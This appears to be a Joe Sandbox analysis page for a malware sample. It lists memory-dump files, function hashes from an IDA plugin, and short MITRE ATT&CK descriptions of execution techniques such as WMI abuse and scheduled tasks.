Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID: 45
API String ID: 0-2889884971
Opcode ID: 5e6b63e6cd3a8d3903e7629f8d10f27961c7993eb7e0322bd2e49ddc371ba5f4
Instruction ID: b1853e8b394ce5765f4e882769dbf851adf9fb06bab55adcf9302748a26d8cfe
Opcode Fuzzy Hash: 5e6b63e6cd3a8d3903e7629f8d10f27961c7993eb7e0322bd2e49ddc371ba5f4
Instruction Fuzzy Hash: 1D416A76A48344DBE3209F59EC45BEFB7A8EBC5305F00447DF6489B281C775A909CB92

Function 00CBBD50 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f47b6aeb83f58156ce6ec365ceb5a9ead060fe893948d78ccd284f8a679f1d2a
Instruction ID: ef367420dc4066a31f1c126dc9859caab2311d3af6ed998a08fa161c7795ba6f
Opcode Fuzzy Hash: f47b6aeb83f58156ce6ec365ceb5a9ead060fe893948d78ccd284f8a679f1d2a
Instruction Fuzzy Hash: AE52C1315083158BC725DF18E8C02BEB3E2FFD4315F298A2DD9A697285D738E955CB42

Function 00CF3A90 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e676b36a7c9100a647612a612e4ce96c6fdd48220a210a1705e844a1ac24369
Instruction ID: 3aea574e2c40d3f78249de7fd60cedcf4b811aff2c5054ecd5e5d3d02a6faa7e
Opcode Fuzzy Hash: 1e676b36a7c9100a647612a612e4ce96c6fdd48220a210a1705e844a1ac24369
Instruction Fuzzy Hash: 6012D231A08251CFCB18CF68D8A177EBBF1EF89314F19896DD596973A1D7349A01CB82

Function 00CB8EF0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f037d5b1f57c658331de183f2adedccfd044f8921b43e714d9b3bc3561bb78a8
Instruction ID: 5ce0273cd69489f608b7a14ccad5d1b2326f81deda22e7c6fa3b22ce8a25fcac
Opcode Fuzzy Hash: f037d5b1f57c658331de183f2adedccfd044f8921b43e714d9b3bc3561bb78a8
Instruction Fuzzy Hash: 04716775608302CFDB08CF24D8907AE7BE2FB89346F15856CE849472A1C776D989CF82

Function 00CB5890 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c1416e3f2707ca91d3404ae934db701257fbf5704da23e3e420bb3a60e2cb88
Instruction ID: 7390f3cb027f16433866caca855168ccc49d448137ead29428c2352d429fa6c5
Opcode Fuzzy Hash: 5c1416e3f2707ca91d3404ae934db701257fbf5704da23e3e420bb3a60e2cb88
Instruction Fuzzy Hash: 7551B475E047009FD714DF18C880A66B7E5FF89324F19466CE8A99B392D731ED42CB92

Function 00CB4BA0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b8c33dca11dc61c833aa8880b3ceabfcb8b5f653ac7d331a980ffc9c00ff0fb
Instruction ID: 8296ebf52e10e942998d4506d00cf65ac7dcc6cbd8279f3a3db8e3d4dc7155f1
Opcode Fuzzy Hash: 3b8c33dca11dc61c833aa8880b3ceabfcb8b5f653ac7d331a980ffc9c00ff0fb
Instruction Fuzzy Hash: E1412D63A1852507EB6C0A34DCA43F9B682DF91360F0D437DEA764B3D3D6298E44D295

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

